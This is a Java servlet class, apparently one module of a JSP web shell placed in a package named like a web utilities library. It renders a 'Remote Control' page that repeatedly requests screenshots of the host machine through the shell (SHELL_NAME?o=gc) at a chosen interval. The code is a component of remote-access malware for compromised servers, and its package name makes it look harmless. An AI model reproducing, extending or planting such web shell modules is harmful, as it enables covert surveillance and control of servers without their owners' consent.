package com.truthbean.jeetb.utils.web.invoker;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.PrintWriter;

public class VRemoteControlInvoker extends DefaultInvoker {
        public void invoke(HttpServletRequest request, HttpServletResponse response, HttpSession JSession) throws Exception {
            try {
                PrintWriter out = response.getWriter();
                out.println("<script type=\"text/javascript\">" +
                        "	var interval = null;" +
                        "	function a(btn) {" +
                        "		if (btn.value == \"Stop\")" +
                        "		{" +
                        "			sstopClick(btn);" +
                        "		} else {" +
                        "			startClick(btn);" +
                        "		}" +
                        "	}" +
                        "	function startClick(btn){" +
                        "		btn.value = \"Stop\";" +
                        "		var pl = document.getElementById(\"pl\").value;" +
                        "		interval = setInterval(function(){" +
                        "			var img = document.getElementById(\"screen\");" +
                        "			img.src = \"" + SHELL_NAME + "?o=gc&rnd=\"+Math.random();" +
                        "		},parseInt(pl)*1000);" +
                        "	}" +
                        "	function sstopClick(btn) {" +
                        "		clearInterval(interval);" +
                        "		btn.value = \"Start\";" +
                        "	}" +
                        "  </script>");
                out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">" +
                        "  <tr>" +
                        "    <td>" +
                        "        <h2>Remote Control &raquo;</h2><input class=\"bt\" onclick=\"var img = document.getElementById('screen').src='" + SHELL_NAME + "?o=gc&rnd='+Math.random();\" name=\"getsc\" id=\"getsc\" value=\"Get Screen\" type=\"button\" size=\"100\"  />" +
                        "          <input class=\"bt\" name=\"button\" id=\"button\" onClick=\"a(this)\" value=\"Start\" type=\"button\" size=\"100\"  /> Speed(Second , dont be so fast)  <input type='text' value='3' size='5' id='pl' name='pl'/>  Can Not Control Yet." +
                        "        <hr/><p><img id='screen' src='x'/></p>" +
                        "      </td>" +
                        "  </tr>" +
                        "</table>");
            } catch (Exception e) {
                e.printStackTrace();
                throw e;
            }
        }
    }